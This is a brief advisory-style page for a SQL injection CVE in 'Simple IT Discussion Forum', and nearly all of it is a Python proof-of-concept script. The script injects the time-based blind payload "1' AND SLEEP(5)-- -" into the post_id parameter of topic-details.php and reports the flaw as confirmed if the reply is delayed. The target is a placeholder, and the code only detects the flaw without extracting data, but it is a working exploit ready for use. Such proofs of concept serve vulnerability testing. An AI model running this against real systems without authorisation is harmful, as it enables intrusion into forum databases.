CVE-2026-5961 Simple IT Discussion Forum SQL注入漏洞

import requests def check_sqli(url): # Payload to test SQL Injection using time-based blind technique # Checks if the database waits for 5 seconds payload = "1' AND SLEEP(5)-- -" # Target parameter params = { "post_id": payload } try: print(f"[*] Testing {url}...") response = requests.get(url, params=params, timeout=10) # If response time is greater than or equal to 5 seconds, vulnerability is likely present if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection vulnerability confirmed!") else: print("[-] Vulnerability not detected.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com/topic-details.php" # Replace with actual target check_sqli(target)